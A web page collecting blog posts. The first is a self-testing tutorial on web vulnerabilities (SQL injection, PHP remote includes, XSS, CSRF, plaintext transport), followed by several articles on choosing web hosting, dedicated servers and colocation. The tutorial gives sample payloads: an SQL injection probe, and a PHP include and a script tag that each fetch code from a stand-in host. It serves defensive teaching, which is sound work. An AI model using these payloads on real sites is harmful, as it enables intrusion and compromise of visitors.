Even though most security loopholes are well-documented, I’m surprised how many open exploits are in applications that we security scan here at INetU. So stand by for a little White Hat Hacking 101, where I’ll teach you how to hack into your own site.

Hack One: Injection Attacks

I’ll start with injection exploits because most IT professionals, even though they have cursory basic understanding of the dangers, leave too many sites open to the vulnerability, according to the Open Web Applications Security Project (OWASP). Injection is passing malicious user-supplied data to an interpreter. The most common form is SQL Injection, where the hacker passes a SQL command to your database. Are you at risk? Let’s find out.

Find a page on your application that accepts user-supplied information to access a database:

• A login form, signup form, or “forgot password” form is a good start.
• A dynamic page that uses URL variables such as ID (product information pages are good for this).

Knowing that the database command takes the user-supplied information into a WHERE clause, try to finish the command with SQL that will throw an error. So on our login form, perhaps we want to try putting this into the username: username’ or fake_column IS NULL. If you are greeted with a database error message page, success! You’ve hacked your own site.

The Risk: Our hack above seems pretty harmless, but it just finds the place in your application susceptible to malicious code injection. Once a hacker knows they have an unprotected line to your database, the possibilities are endless: vandalism, data theft, or even total system compromise.

The Fix: There are two main ways to protect your site from injection: 1) always sanitize user-submitted data (if a username can’t contain a single quote character, don’t let users enter it), and 2) use a web-specific database login that has the least permissions necessary to perform its tasks (your web application doesn’t need admin access to your database). OWASP has a SQL Injection Prevention Cheat Sheet that is also particularly helpful.

Hack Two: PHP Remote File Includes

If your site doesn’t use any PHP, then good news: you’re safe! But according to the SANS Institute, PHP is the most popular web application framework. When used properly, PHP can be a very powerful and useful tool for a number of different applications. Perhaps because of its popularity, it’s also an enticing target for hackers to find exploits. The PHP function allow_url_fopen is a favorite for hackers not only because it allows them to run their scripts on your site, but also because it is enabled by default.

Are you at risk? Let’s find out.

Find a PHP script that uses the include() function. If you have a path name in the include, change it to the absolute URL equivalent. If the file still works after this change, success! You’ve just hacked your own site.

The Risk: Okay, the hacker might need to do a little more legwork in this example, but it severely increases the surface area for attack. All a hacker needs to do is find one file to manipulate and add the line: include(’http://www.example.com/malicious_code.php’) and you are compromised. Compromise might include password stealing, remote root kit installation, and in some cases complete system compromise.

The Fix: Turning off allow_url_fopen is the most obvious fix, but if that isn’t an option, you can try turning on PHP’s safe mode to prevent the most common malicious functions from executing on your server. Keep PHP updated with the latest security patches and be aware of emerging threats by following tech news outlets.

Hack Three: Cross Site Scripting (XSS)

Cross Site Scripting occurs when a website takes malicious user input and, without question, posts the input to their page. The most common reason for a web application to do this is capturing user feedback: product reviews, blog comments, etc. As today’s Internet user can open discussions and interact with more websites, XSS hacks are becoming an ever-prevalent problem, possibly soon to be the most common vulnerability on the Internet.

So are you at risk? Let’s find out.

Search your application for a page that takes user input and outputs it directly to a webpage. Common examples:

• Forums
• Comments
• Wikis
• Reviews

Craft a post that calls on JavaScript from an outside server. For example, try to post: This is a hacked entry <script src=”http://www.example.com/malicious.js”></script>. Now load the page where that post is outputted. Did your script run? Then success! You’ve just hacked your own site.

The Risk: The risk here is both for you and for your visitors. First, this opens your visitors to worms infected through the linked malicious code. Second, your site can be defaced with code that manipulates how your page displays. Third, your hijacked site can be flagged by Google and other search engines as a malicious site, and it could take you months to regain your page rank status. Lastly, it opens the next vulnerability: Cross Site Request Forgeries (CSRF).

The Fix: Fixing XSS and CSRF vulnerabilities require the same steps, so read below.

Hack Four: Cross Site Request Forgeries (CSRF)

In a CSRF attack, a hacker uses a cross-site script to hijack a logged-in user’s credentials. If you are at risk for XSS, then you might be at risk for a CSRF attack. Are you? Let’s find out.

Does your application rely on credentials, like session cookies, to grant permissions to users on your site? If you don’t know offhand, try taking a look at the cookies your browser is storing when you login to your application. Even easier, if your site has a “remember me” feature for logging in, and you know from above you are vulnerable for XSS attacks, then success! You’ve just hacked your own site.

The Risk: The most common use of CSRF is to propagate the virus. The Samy MySpace Worm is a good example. Most security-aware users don’t trust random messages from profiles that look “spammy” and therefore don’t open themselves to catching an XSS worm. However, if that user has a friend who has been compromised, a CSRF attack can send a message as the trusted friend with the infected message, tricking the user to become infected. There are additional risks if the infected user has “moderator” or “admin” privileges to the site because the hacker automatically gains those permissions, which could end with entire site compromise.

The Fix: Never trust user-supplied input. Erase any JavaScript supplied by the user, or for that matter, any encoded information. Or limit the user’s ability to a strict set of tags (bold and italic, for example) and remove modifiers to those tags on output. For more information OWASP has a comprehensive guide to protection against XSS attacks.

Hack Five: Insecure Communications

Perhaps one of the oldest tricks in the book, site operators and visitors often forget that everything transmitted across an insecure protocol—including FTP and HTTP—is plaintext, meaning that usernames, passwords, private messages, or even credit card information is ripe for the taking for a hacker with the proper tools. A “man-in-the-middle” attack occurs when a malicious user “sniffs” the packets sent between source and destination.

Are you at risk? Let’s find out.

Navigate to a page on your site where you fill out a form, or when user information is displayed to the site visitor. Is this happening through HTTPS? (Your browser should indicate a lock icon or a green location bar). If not, that information can be intercepted. Don’t forget FTP. Are your login credentials for an unsecured FTP port the same as for your database or other secured systems? Do you upload or download sensitive files through unsecured FTP? Success! You’ve just hacked your own site.

The Risk: This depends on what information a hacker is able to recover. The most basic security breach could be a simple invasion of privacy, but could also result in identity theft, leaking of confidential documents, or the compromise of admin passwords leading to full site compromise.

The Fix: The use of SSL certificates is the most common fix for web-based communication. SSL encrypts data before transmission and decrypts on arrival. The “man-in-the-middle” is left with (nearly) undecipherable encrypted data. Other technologies exist that can achieve the same end depending on the means of transportation. SSL isn’t a cure-all, however. Make sure to limit the private data you request from users, or subsequently transmit back to them. For example, when displaying the credit card number on file to a user, only display the last four digits, with asterisk marks replacing the remaining numbers.

by Patrick M.

Top 10

This is the easiest way to choose. Just google it and you will fine tons of websites listing out top 10, 20, 30 web hosting companies. However, the problem is that there are certain websites that will only list out web hosting companies that they are affiliated with. Be careful in that area. You may be influenced into registering with their No.1 choice, only to find out hidden terms and conditions days later. That time, it’s too late.

The most important thing is to look for a good explanation. For example, Web Hosting Unleashed, chooses their top web hosts that have :

..more than 15 positive reviews and are recommended by at least 90% of the reviewers.

Find My Hosting is another reliable site that helps consumers to find web hosts.

By Location

This is another factor that every webmaster should consider. Of course, the best plan is to have the website hosted locally. This will help in lowering cost and it is more convenient. However, if the target audience of the website is elsewhere, it’s only logical to host it at that location. For example, if your visitors are primarily from the UK, you may want to choose a UK web hosting company over a US web host.

Another influencing factor on location is if you need to make frequent updates to the website, and are often transferring many large files, the speed difference between a web host in your country and a web host in a different country will be significant. Even with a broadband connection, uploading many files to a web server in a different country will prove frustrating. One fine example is Malaysian broadband ISP, TmNet Streamyx.

Windows or Linux

Basically, there are two standard web hosting operating systems which are Windows and Linux. The difference is that Linux is significantly cheaper and has greater compatibility with most scripts. Unless the webmaster is an all out Microsoft supporter and develop web applications in dot net, he’ll use Linux web hosting. Below are 10 examples of free and very, very famous web applications that uses Linux.

• Wordpress Blog Platform
• OSCommerce Shopping Carts
• Help Center Live
• Joomla Content Management Systems
• Invision Forum / Discussion Boards
• Drupal Content Management Systems
• 4Images Image Gallery Management System
• SMF Forum / Discussion Boards
• Noah’s Classifieds
• PHProjekt Project Management System

Traffic Size

If you are just starting out, look among the ‘chosen ones’ that has a hosting plan for the smallest bandwidth limit size. It is logic to say that the smaller it is, the cheaper it is. The host must also allow customers the flexibility to switch plans when and if the site grows bigger than the allocated bandwidth limit.

FTP Upload Download Speed

I have 4 websites under my belt, and have been through 3 different hosts. My first host, well, was an eye opening experience for me. At that time, rangit.com was hosted in my first host. The thing is, I have upload and download limits when I transfer files, even though it is hosted locally. The upload limit was 10kb and download was 10kb. At that time, I was inexperienced and thought that it was normal until I found my 3rd host. I was shock to see my files transferring at top speeds. Really. Then only did I realize the importance of FTP Upload and Download speed.

After Sales

Technical support. The single most important factor in choosing a webhost. The only way that you are going to find out about this is through reviews. Of course, every webhost will say that they have 24/7 customer support. That’s advertising. The only way to truly find out if that particular webhost is good, is by reading comments.

Source: http://rangit.com/

Let’s take a high end data center for an example. Let’s take Hosted Solutions’s Managed Server Colocation Charlotte NC as an example. Services offered by Charlotte Data Center Solutions include :

• Colocation

- buying a web server that it is physically located in the premises of a third-party company that provides the networking.

• Dedicated Server

- a computer on a network that is assigned to function only as a resource server and cannot be used as a client. Gamers of half-life should know what dedicated servers are.


• Managed Services

- providing delivery and management of network based services, applications, and equipment to organizations.

• Disaster Recovery

- ability to recover from the loss of a complete site, whether due to natural disaster or malicious intent. Disaster recovery strategies include replication and backup/restore.

Let’s talk about notable features of the data center.

1. • buildings have ballistics-proof walls, doors, and windows
   • 24-hour physical security monitors all cameras, door positions, and badge access areas
   • Door entrance to data center requires a badge to get in and a badge to get out
   • card access control throughout
   • Biometric hand scanner verifies unique hand geometry image and a heat signature before allowing entry into data center
   • Backup power is catered for via one or more interruptible power supplies and/or diesel generators.
   • raised flooring of removable square tiles to provide a plenum for air to circulate below the floor, as part of the air conditioning system, as well as providing space for power cabling.
   • Computer Room Air Conditioning units are positioned around the data center to filter air and to remove dust and lint.
   • Air is humidified to a finite set point to reduce static electricity

Security

Inside the Data Center

The main purpose of a data center is running databases, file servers, application servers and middleware that handle the core business and operational data of the organization. Such systems may be proprietary and developed internally by the organization, or bought from enterprise software vendors. A fine example would be Oracle’s Enterprise Manager.

Having a data center with a dedicated hosting managed environment makes you feel safe and secure. The reliability provided by data centers that focus primarily on managing the equipment reduces the time used. Business organizations should be concerned more on business rather than managing servers. Cut additional costs on consultants and invest instead on data centers born to handle server management applications.

Source: http://rangit.com/

Dedicated vs. Shared

When choosing a web host, you generally have two options – to lease space on a shared server or lease a dedicated server. With a shared hosting server, your site or sites are sharing server space with others sites. However, by leasing a dedicated server, you receive the complete server along with a network connection all to yourself.

Shared servers are more affordable than dedicated servers and generally require a much lower level of technical skill. This is due to sophisticated control panel software and the fact that the host handles the majority of the actual server administration. For this reason, shared servers often make the best solution for personal individuals and small businesses who do not receive high volumes of web traffic.

A larger company on the other hand, may find themselves rather limited on a shared server.

These businesses often have high amounts of traffic that require more disk space, bandwidth, software and security. Although a dedicated server is more expensive, this type of hosting gives you much greater control and capability. This is an idea solution for online businesses with both a steady flow of traffic and revenue.

In shared hosting, many providers will guarantee an uptime of 99.9%, a figure that can be calculated in a number of different ways. The performance of your site can be impacted by the service interruptions caused by others on the server. Worst of all, most of these instances will be out of your control. You alone are responsible for managing a dedicated server. This includes building the machine to anticipate high levels of traffic along with any other events that may impact server response and performance.

With a shared hosting plan, you have limited access to applications and the operating system used by the host. Dedicated hosting allows you to install and run customized e-commerce applications, database management utilities and other software to increase functionality. As your site grows with traffic, your storage and applications will need to be enhanced to keep up with demand. A dedicated server also makes way for upgrades whereas a shared server is limited. Not only can software be upgraded but also hard drives, ram processors and even the operating system itself.

Dedicated hosting is likely to be somewhat more secure than shared hosting as well. A dedicated server can be protected with its own firewall along with server security software to fight off malicious content. This is an attribute greatly appreciated by companies storing highly sensitive data on their servers.

In Closing

Dedicated hosting offers a number of benefits to the rapidly evolving business. It puts the power of the web host in your hands, giving you authority over every function down to the critical aspects of the operating system. In your quest for a dedicated hosting provider, be sure to look for one that includes reliable customer support and solid security as well.

Source: http://www.webhostingrating.com/

What is Dedicated Server Hosting?

Most of the web hosting companies that make up the market provide clients with accounts on shared servers.  In this environment, you are literally sharing resources with hundreds or possibly thousands of other clients.  This includes precious bandwidth and storage space, two of your most critical assets.  Some hosts make use of multiple shared servers while others only have access to one.  Unfortunately, you also share a host of security problems and traffic issues.

Hence the name, a dedicated server is one dedicated solely to your hosting needs.  This prevents you from all the restrictions that come along with shared hosting, giving your business tremendous opportunity for growth.  Here are some of the benefits you’ll enjoy:

Extensive Capacity – with an entire server of your own to work with, you have more space available for your files, images, web pages and features.  The same holds true for your bandwidth.  Server response time will no longer be an issue as you do not have to compete for transfer.  This enables visitors to easily access and interact with your website.

Server Administration - most web hosting companies supply their customers with control panel software, allowing them to control the operation from the client side.  With a dedicated server, your control panel gives you the power of web host with control over the day to day operation.  This environment allows you to administer every aspect from the server software applications to the operating system.

Solid Security – the dedicated server certainly makes for a more secure hosting solution.  You don’t have to worry about inexperienced users making the server unstable with scripting errors and other mistakes.  You also have the option of locking your server down with reliable network security software.

The Downside to Dedicated Servers

There are two main disadvantages to dedicated server hosting – cost and maintenance.  Since you are essentially in control of the equipment, you are the one who is responsible for making sure the operation stays running.  Because of this, you should at least have a few administrative skills before making the move.  While a dedicated server is initially more expensive, a good way to level things out is to calculate the total fees related to shared hosting over a long period.  When weighing the option against variables like resource overage and security issues, dedicated server hosting seems more attractive almost instantly.

Is Dedicated Server Hosting for You?

Things may start off slow, but as your business grows, so will your hosting needs.  Pushing the resources of your limits is not good for your web presence.  The thought of storing the credit card details of your clients on a server with thousands of other people could be all the motivation you need.

Source: http://www.webhostingrating.com/

The very nature of a dedicated hosting account reduces your dependency on a traditional provider, allowing you to bypass probable expenses and time delays.  This environment gives you tremendous flexibility to offer a hosting service of your own, something that it is not possible with a shared host.  A dedicated server will enable you to provide the same type of fast, reliable service you look for in a web host.  This is critical in a business where word of mouth can work against you or in your favor as an effective promotional tool.

While a dedicated server isn’t for everyone, it is simply invaluable for website and graphic designers who demand a powerful hosting solution.  This approach makes it easier to generate revenue with a solid performance and stable platform that significantly reduces downtime.  With full access to your server on a 24/7 basis, you can easily adjust, edit and update the sites of your clients in minutes.  This reduces labor expenses for the end-user and creates more profits for you when your clients are satisfied with the overall quality of service.

Do You Need a Dedicated Server?

How do you know if you need a dedicated server?  The answer usually lies in performance  and statistics.  By using your web analytics tool you can view how many visitors you’re losing out on because the site takes too long to load or because it just wasn’t up and available to access.  This can be very deterring when you start to wonder how many of those visitors could have been regular paying clients.  If this is something you have experienced with a shared host, it is definitely time to make a much needed upgrade to dedicated server hosting.

High performance is essential to any business whether they’re receiving a high volume of traffic or just starting out with an online venture.  A website that loads quickly with fast and easy downloads gives the visitor indication that your service is equally reliable, increasing your chance of making that conversion.  Quality performance also enhances the image of your company as it will likely encourage existing clients to refer others to the service.  This equals less promotional efforts and possibly more sales.

The benefits of dedicated server hosting are endless.  Although the shared server environment is suitable for a range of hosting needs, there is only so much you can do with.  If you are truly serious about your web presence, getting a dedicated server is one of the best moves you can make.

Source: http://www.webhostingrating.com/

Benefits to Consider

With dedicated hosting, you are actually allowed to control the behavior of the server. A host provides you with administrative access to the machine in which you can then install and run any type of software you desire. You can choose to host multiple sites on a single account, or even start your own web hosting company and host sites for your own clients on the server – the possibilities are endless.

When choosing dedicated hosting, you are leased a server box that is dedicated solely to you. As a customer of dedicated hosting, you have exclusive rights to the server including memory, bandwidth and disk storage. The server can be set to your preference with the applications and features of your choosing. Because of the overall freedom and flexibility, dedicated hosting has become quite popular. This type of hosting plan is well suited for both individuals and organizations that operate high-traffic sites or those that require the resources, versatility and enhanced performance of a dedicated server. It is also a great solution for database management, gaming sites and shared hosting as well.

Several companies now offer dedicated hosting packages that allow you to customize your own server. You can choose from one of their recommended pre-packaged plans or build your own server from the ground up, complete with your own files and software options. Just like any web hosting plan, one bonus you should certainly keep an eye out for is technical support. This adds value to the plan and will help you to determine how reliable a dedicated hosting provider really is. The standard rate of support is now offered on a 24/7 basis and service for your dedicated server should be no different. Look for plans that provide support via telephone, email and live chat if possible. It’s also a good idea to find a service that offers a free sever setup which enables you to get up and running quickly.

Dedicated hosting gives a huge advantage to corporations hosting all of their sites on a single server. It gives them the power to effectively manage business operations with the customization and uniformed nature of point-of-sale applications. For instance, the franchise car dealership in Detroit would be using and benefiting from the same tools as the dealership in Las Vegas. This makes for a streamlined operation that is fluent and cost-efficient at the same time.

Is a Dedicated Sever for You?

A dedicated server offers many opportunities but this type of hosting is not for everyone. Dedicated hosting is more suited for larger businesses who need the additional resources, and more importantly, can afford it. Personal sites and smaller businesses are typically do not require the power of a dedicated server and can save a lot of money by leasing space from a general web hosting provider.

Source: http://www.webhostingrating.com/

Redundant Systems

A colocation facility cannot run efficiently without multiple redundant systems.  Every point of the operation requires sufficient capacity from the equipment to climate control systems.  Some companies will utilize multiple data centers to handle capacity, although it doesn’t equate to redundancy.  A provider maintaining more than one unit should run them both at less than 50% capacity.  By doing this, the other facility will be able to handle the load if one fails.  If three units are operating, they should be run at no more than 66% capacity.

Efficient Climate Control

When making the move to colocation hosting, you should know that the actual design of the facility has a huge impact on the overall performance of the housed systems.  Rooms that maintain servers and other equipment should control the air flow in between each row.  As the heat generated by the machines blow from one row, cooler air should be drawn toward them from another.  This hot-cold row system enables the air to circulate while keeping the servers from overheating.

Power System

A colocation provider’s power supply is critical.  If the primary source fails, generators and UPS systems must be in place in order to keep the network functioning.  UPS systems are very essential to the process as they keep the servers running while the power is converted from standard electricity to the generator.  In order to be deemed reliable, a collocation service must provide the following:

• Fail-over strategies for switching to USP systems and redundant generators

• Redundant UPS systems

• A generator capable of handling nearly two times the standard load

Routing

Network equipment and routing logic has a tremendous impact on a colocation host’s method of connectivity.  This is primarily because of how the internet itself is routed.  In order to provide a fast, reliable connection, a host must cover the following areas:

• redundancy in all network routers and switches to support growing traffic

• performance-based routing to ensure that routes travel the most efficient path

• routing over multiple internet backbones

A colocation provider equipped with a redundant hardware system and dynamic routing scheme encourages a self-healing data center.  These systems will enable them to handle backbone problems, traffic and load issues and equipment failures, preventing the service from suffering.

Making the Move

Keeping your company servers offsite is a good move for obvious reasons.  However, if a colocation host does not provide a secure, reliable environment, you should take your business elsewhere.  Any company not making use of redundant power and backup systems, sufficient cooling systems, multiple internet backbones and a reliable uptime is offering a questionable service.

Racks

Colocation providers standardize computer and networking equipment on a 19-inch rack design.  The rack comes in the form of a stand or cabinet with horizontal mounted hardware spaced at 19-inches apart.  This makes it possible for hardware manufacturers to design products that can be easily installed directly inside of a rack.

The height of items stored inside of a rack typically varies.  However, a standard size is selected to determine the height of required components.  A standard U height for a rack mount casing is an estimated 1.75 inches high.  The components are assigned their height standards in regard to the number of U’s.  The industry standard size for servers is usually 1U while the majority of networking hardware such as routers or switches is 2U.

The number of U’s needed to mount hardware into the colocation facility ultimately determines the base price of the computer server.  A single 1U server is generally more affordable than a 2U system which tends to be much larger.  In order to use full-sized expansion cards found in many desktop computer systems, a server needs to be inserted into a 4U case which is much more expensive.  Because of this, you should also look into the price of components as well as the actual server.

Cabinets

A cabinet is the term most often used to describe full-sized server rack.  Many of them contain additional security features such as the locking door panel which has resulted in the title of a cage or closed cabinet.  Cabinets are normally used by larger companies that require a enormous amount of space for numerous servers and other equipment.

Most colocation providers also have partial cabinets available for their clients.  In most cases, this describes a 12 (1/4) or 24U (½) cabinet.  While not a full cabinet, this is still a decent amount of space to enable the installation of hardware.  It is important to make yourself familiar with partial cabinets because many providers will give you quotes on a 1/4 cabinet if your hardware is not designed for rack mounting.  It may be quite expensive for a single server to be transferred over to a dedicated rack server case, even those as large as a 4U size.

Amps

Aside from accommodating for the space a server may claim, a colocation provider must also supply power to the many systems they have installed.  Most of them have some type of reliable power supply attached to all of their systems in case of outages.  In order to ensure the presence of backup power, the company must know the level of usage by the systems installed on the site.  This is where amps play a critical role.

Usually, a colocation provider will allocate a specific number of amps to support the amount of spaced leased throughout the facility.  This is typically anywhere in between 1 to 2 amps per U.  Most hardware easily falls within these specifications.  However, if your system requires a lot of equipment, expect to pay extra fees for the additional allotment of power.

Conclusion

As you can see, the operations of a colocation service are rather complex.  This is far from traditional web hosting and more expensive.  However, it does provide numerous benefits for a company that isn’t designed to house their own equipment.

Source: http://www.webhostingrating.com/

Colocation is just another name for managed hosting: This is far from the truth. In a conventional managed arrangement, your site’s programming language resides on someone else’s server which is also owned by the web hosting company. In the colocation environment, you own the hardware and software components and physically locate them on the grounds of another company. Instead of sharing server space with hundreds to thousands of users, your website has it’s own server and associated components. This setup prevents you from competing for critical resources such as bandwidth, storage and CPU.

Colocation makes it difficult to manage your systems: The overall convenience of colocation all depends on the host you choose and where their data center is located. When upgrades and maintenance needs to be handled, members of your IT staff can make the trip and take care of them. For most daily operations, an offsite data center isn’t any more convenient than having your equipment stored in-house. However, a colocation facility is likely to provide more space with better organization and security than the small area you designated as a server room.

Colocation isn’t as secure as onsite hosting: While this depends on the security implementations of one’s in-house environment, colocation hosting tends to be much more secure. These data centers house your equipment separately from the hardware of other clients, keeping it secure in monitored cages. The facilities are equipped with a wide range of security technologies from firewalls and intrusion detection systems to solid physical security. They often provide a level of security that most small businesses can’t afford.

Colocation is not reliable: Here is another off-based misconception. Most colocation centers employ redundant backups, internet connections and power sources. Some of them run at minimal capacities so competition for resources isn’t an issue. A reputable company will keep trained IT professionals on-site day in and day out to handle outages and other technical problems that arise.

Colocation is less flexible than managed hosting: Although some offer servers and associated components, for the most part, all you are leasing with colocation is physical space for your equipment and internet connectivity. All the hardware and software is owned by your company, giving you complete control of what runs on your servers and how powerful they can actually be. In a managed environment, server speed and available software is only as efficient as what the company offers.

Colocation provides limited support: Contrary to some beliefs, most colocation services provide their clients with exceptional support in the way of physical and network security, data recovery, cooling and power systems and much more. Best of all, they typically offer customer service in the form of email and phone support where professionals can be reached to address all of your concerns. In regard to assistance with your systems, colocation support is only limited by what you’re willing to pay.

Source: http://www.webhostingrating.com/